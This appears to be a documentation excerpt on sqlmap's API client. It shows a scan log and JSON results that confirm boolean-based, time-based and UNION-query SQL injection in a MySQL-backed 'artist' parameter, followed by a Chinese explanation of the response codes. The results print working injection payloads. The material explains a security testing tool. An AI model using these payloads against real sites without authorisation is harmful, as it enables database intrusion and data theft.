[12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
{
    "log": [
        {
            "message": "flushing session file", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing connection to the target URL", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "checking if the target is protected by some kind of WAF/
IPS", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing if the target URL is stable", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "target URL is stable", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing if GET parameter \'artist\' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "confirming that GET parameter \'artist\' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter \'artist\' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "heuristic (basic) test shows that GET parameter \'artist\'
 might be injectable (possible DBMS: \'MySQL\')", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing for SQL injection on GET parameter \'artist\'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing \'AND boolean-based blind - WHERE or HAVING claus
e\'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter \'artist\' appears to be \'AND boolean-based 
blind - WHERE or HAVING clause\' injectable (with --string=\"hac\")", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (BIGINT UNSIGNED)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (BIGINT UNSIGNED)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXP)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (EXP)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
 ORDER BY or GROUP BY clause (JSON_KEYS)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
lause (JSON_KEYS)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (FLOOR)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXTRACTVALUE)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (EXTRACTVALUE)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (UPDATEXML)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (UPDATEXML)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
use (FLOOR)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL OR error-based - WHERE or HAVING clause (
FLOOR)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
XTRACTVALUE)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.5 error-based - Parameter replace (B
IGINT UNSIGNED)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.5 error-based - Parameter replace (E
XP)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.7.8 error-based - Parameter replace 
(JSON_KEYS)\'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing \'MySQL >= 5.0 error-based - Parameter replace (F
LOOR)\'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing \'MySQL >= 5.1 error-based - Parameter replace (U
PDATEXML)\'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing \'MySQL >= 5.1 error-based - Parameter replace (E
XTRACTVALUE)\'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing \'MySQL inline queries\'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing \'MySQL > 5.0.11 stacked queries (comment)\'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing \'MySQL > 5.0.11 stacked queries\'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing \'MySQL > 5.0.11 stacked queries (query SLEEP - c
omment)\'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing \'MySQL > 5.0.11 stacked queries (query SLEEP)\'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing \'MySQL < 5.0.12 stacked queries (heavy query - c
omment)\'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing \'MySQL < 5.0.12 stacked queries (heavy query)\'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing \'MySQL >= 5.0.12 AND time-based blind\'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "GET parameter \'artist\' appears to be \'MySQL >= 5.0.12 AN
D time-based blind\' injectable ", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "testing \'Generic UNION query (NULL) - 1 to 20 columns\'", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "automatically extending ranges for UNION query injection
 technique tests as there is at least one other (potential) technique found", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "\'ORDER BY\' technique appears to be usable. This should r
educe the time needed to find the right number of query columns. Automatically e
xtending the range for current UNION query injection technique test", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "target URL appears to have 3 columns in query", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "GET parameter \'artist\' is \'Generic UNION query (NULL) - 
1 to 20 columns\' injectable", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "the back-end DBMS is MySQL", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "fetching banner", 
            "level": "INFO", 
            "time": "12:48:24"
        }
    ], 
    "success": true
}
api (a42ddaef02e976f0)> data
[12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
{
    "data": [
        {
            "status": 1, 
            "type": 0, 
            "value": [
                {
                    "dbms": "MySQL", 
                    "suffix": "", 
                    "clause": [
                        1, 
                        9
                    ], 
                    "notes": [], 
                    "ptype": 1, 
                    "dbms_version": [
                        ">= 5.0.12"
                    ], 
                    "prefix": "", 
                    "place": "GET", 
                    "os": null, 
                    "conf": {
                        "code": null, 
                        "string": "hac", 
                        "notString": null, 
                        "titles": false, 
                        "regexp": null, 
                        "textOnly": false, 
                        "optimize": false
                    }, 
                    "parameter": "artist", 
                    "data": {
                        "1": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "AND boolean-based blind - WHERE or HAVING 
clause", 
                            "templatePayload": null, 
                            "vector": "AND [INFERENCE]", 
                            "falseCode": 200, 
                            "where": 1, 
                            "payload": "artist=1 AND 2794=2794"
                        }, 
                        "5": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "MySQL >= 5.0.12 AND time-based blind", 
                            "templatePayload": null, 
                            "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
EPTIME]),[RANDNUM])", 
                            "falseCode": null, 
                            "where": 1, 
                            "payload": "artist=1 AND SLEEP([SLEEPTIME])"
                        }, 
                        "6": {
                            "comment": "[GENERIC_SQL_COMMENT]", 
                            "matchRatio": 0.85, 
                            "trueCode": null, 
                            "title": "Generic UNION query (NULL) - 1 to 20 colum
ns", 
                            "templatePayload": null, 
                            "vector": [
                                2, 
                                3, 
                                "[GENERIC_SQL_COMMENT]", 
                                "", 
                                "", 
                                "NULL", 
                                2, 
                                false, 
                                false
                            ], 
                            "falseCode": null, 
                            "where": 2, 
                            "payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
704c68614672644a477474,0x7162717171)-- aAjy"
                        }
                    }
                }
            ]
        }, 
        {
            "status": 1, 
            "type": 2, 
            "value": "5.1.73-0ubuntu0.10.04.1"
        }
    ], 
    "success": true, 
    "error": []
}
api (a42ddaef02e976f0)> exit
$

响应 JSON 数据中使用的一般代码:

  • status:
0 - in progress
1 - complete
  • type:
0 - target
1 - techniques
2 - dbms_fingerprint
3 - banner
4 - current_user
5 - current_db
6 - hostname
7 - is_dba
8 - users
9 - passwords
10 - privileges
11 - roles
12 - dbs
13 - tables
14 - columns
15 - schema
16 - count
17 - dump_table
18 - search
19 - sql_query
20 - common_tables
21 - common_columns
22 - file_read
23 - file_write
24 - os_cmd
25 - reg_read
26 - statements
  • returncode
null - still running
0 - ended gracefully
1 - general error occurred
255 - unhandled exception

源自官方文档